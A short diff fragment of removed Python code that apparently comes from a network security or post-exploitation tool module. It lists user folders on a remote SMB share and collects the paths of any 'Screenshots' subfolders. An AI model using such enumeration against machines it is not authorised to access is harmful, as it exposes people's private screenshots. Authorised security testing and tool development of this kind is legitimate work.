-        base_path = ntpath.normpath(join(r"Users", user_folder_name))
-        screenshots_folders = []
-        try:
-            subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
-            for subfolder in subfolders:
-                if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
-                    potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
-                    try:
-                        if self.connection.conn.listPath(self.share, potential_path + "\\*"):
-                            screenshots_folders.append(potential_path)
-                    except Exception:
-                        continue
-        except Exception as e:
-            self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
-        return screenshots_folders